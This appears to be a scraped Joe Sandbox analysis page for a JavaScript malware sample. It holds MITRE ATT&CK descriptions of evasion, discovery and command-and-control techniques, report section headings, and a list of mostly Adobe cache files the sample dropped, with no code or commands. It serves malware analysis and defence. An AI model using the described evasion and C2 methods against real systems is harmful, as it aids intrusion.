Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 106161149748268293.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0bb41ee7-f101-4acc-9a3d-cac627155d04.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1892

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
106161149748268293.js